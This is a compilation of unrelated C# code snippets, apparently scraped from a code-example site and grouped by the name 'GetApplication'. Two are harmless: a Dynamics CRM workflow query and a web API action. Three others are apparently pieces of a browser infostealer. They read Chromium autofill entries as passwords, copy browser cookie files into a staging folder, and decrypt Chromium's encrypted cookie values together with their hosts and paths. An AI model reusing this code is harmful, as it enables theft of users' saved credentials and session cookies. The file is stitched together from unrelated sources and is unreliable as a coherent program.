public override void ExecuteCRMWorkFlowActivity(CodeActivityContext executionContext, LocalWorkflowContext crmWorkflowContext)
        {
            if (crmWorkflowContext == null)
            {
                throw new ArgumentNullException("crmWorkflowContext");
            }



            var tracingService = executionContext.GetExtension <ITracingService>();
            var service        = crmWorkflowContext.OrganizationService;
            var context        = crmWorkflowContext.WorkflowExecutionContext;
            var appLineId      = context.PrimaryEntityId;
            var appId          = GetApplication.Get <EntityReference>(executionContext).Id;

            tracingService.Trace("inside GetMainActivityForApplication ");

            var fetchXml = @"<fetch >
                  <entity name='defra_applicationline'>
                    <attribute name='defra_applicationlineid' />
                    <attribute name='defra_name' />
                    <attribute name='defra_standardruleid' />
                    <attribute name='defra_linetype' />
                    <attribute name='defra_itemid' />
                    <attribute name='defra_item_type' />
                    <attribute name='defra_value' />
                    <order attribute='defra_value' descending='true' />
                    <filter type='and'>
                      <condition attribute='defra_applicationid' operator='eq'  uitype='defra_application' value='{" + appId + @"}' />
                     <condition attribute='statecode' value='0' operator='eq'/>
                    </filter>
                  </entity>
                </fetch>";

            tracingService.Trace(fetchXml);
            RetrieveMultipleRequest fetchRequest = new RetrieveMultipleRequest
            {
                Query = new FetchExpression(fetchXml)
            };

            var result = ((RetrieveMultipleResponse)service.Execute(fetchRequest)).EntityCollection.Entities.FirstOrDefault().ToEntityReference();

            MianActivity.Set(executionContext, result);
            tracingService.Trace("GetMainActivityForApplication done");
        }
Esempio n. 2
0
 public static List<AutoFill> GetAutoFill(string dataPath)
 {
     string application = GetApplication.BrowserName(dataPath);
     List<AutoFill> list = new List<AutoFill>();
     SQLiteHandler sqliteHandler = null;
     if (!File.Exists(dataPath))
     {
         return list;
     }
     try
     {
         sqliteHandler = new SQLiteHandler(dataPath);
     }
     catch (Exception)
     {
         return list;
     }
     if (!sqliteHandler.ReadTable("autofill"))
     {
         return list;
     }
     int rowCount = sqliteHandler.GetRowCount();
     for (int i = 0; i < rowCount; i++)
     {
         try
         {
             string value = sqliteHandler.GetValue(i, "name");
             string value2 = sqliteHandler.GetValue(i, "value");
             if (!string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2))
             {
                 list.Add(new AutoFill
                 {
                     Name = value,
                     Password = value2,
                     Application = application,
                 });
             }
         }
         catch (Exception)
         {
         }
     }
     return list;
 }
Esempio n. 3
0
 public static void CopyCookiesInSafeDir(string DirCookies, bool Recursive = true)
 {
     CombineEx.CreateDir(DirCookies);
     foreach (string Cookie in CookiesFullPath)
     {
         if (!File.Exists(Cookie))
         {
             continue;
         }
         else
         {
             try
             {
                 CombineEx.FileCopy(Cookie, CombineEx.Combination(DirCookies, Path.GetFileName(GetApplication.GetBrowserName(Cookie))), Recursive);
                 GetSecureFile(DirCookies, GetApplication.GetBrowserName(Cookie));
             }
             catch (ArgumentException) { }
         }
     }
 }
        public ActionResult Get([FromRoute] GetApplication query)
        {
            var applicationPoolDto = QueryDispatcher.Dispatch(query);

            return(Ok(applicationPoolDto));
        }
        public static List <CookieChromium> GetCookie(string dataPath)
        {
            string application                  = GetApplication.BrowserName(dataPath);
            List <CookieChromium> list          = new List <CookieChromium>();
            SQLiteHandler         sqliteHandler = null;

            if (!File.Exists(dataPath))
            {
                return(list);
            }
            try
            {
                sqliteHandler = new SQLiteHandler(dataPath);
            }
            catch (Exception)
            {
                return(list);
            }
            if (!sqliteHandler.ReadTable("cookies"))
            {
                return(list);
            }
            int rowCount = sqliteHandler.GetRowCount();

            for (int i = 0; i < rowCount; i++)
            {
                try
                {
                    string value      = sqliteHandler.GetValue(i, "host_key");
                    string value2     = sqliteHandler.GetValue(i, "name");
                    string value3     = ChromeDecrypt.Decrypt(sqliteHandler.GetValue(i, "encrypted_value"));
                    string value4     = sqliteHandler.GetValue(i, "path");
                    string value5     = sqliteHandler.GetValue(i, "expires_utc");
                    string value6     = sqliteHandler.GetValue(i, "last_access_utc");
                    bool   secure     = sqliteHandler.GetValue(i, "secure") == "1";
                    bool   httpOnly   = sqliteHandler.GetValue(i, "httponly") == "1";
                    bool   expired    = sqliteHandler.GetValue(i, "has_expired") == "1";
                    bool   persistent = sqliteHandler.GetValue(i, "persistent") == "1";
                    bool   priority   = sqliteHandler.GetValue(i, "priority") == "1";
                    if (!string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value3))
                    {
                        list.Add(new CookieChromium
                        {
                            HostKey       = value,
                            Name          = value2,
                            Value         = value3,
                            Path          = value4,
                            ExpiresUTC    = value5,
                            LastAccessUTC = value6,
                            Secure        = secure,
                            HttpOnly      = httpOnly,
                            Expired       = expired,
                            Persistent    = persistent,
                            Priority      = priority,
                            Browser       = application
                        });
                    }
                }
                catch (Exception)
                {
                }
            }
            return(list);
        }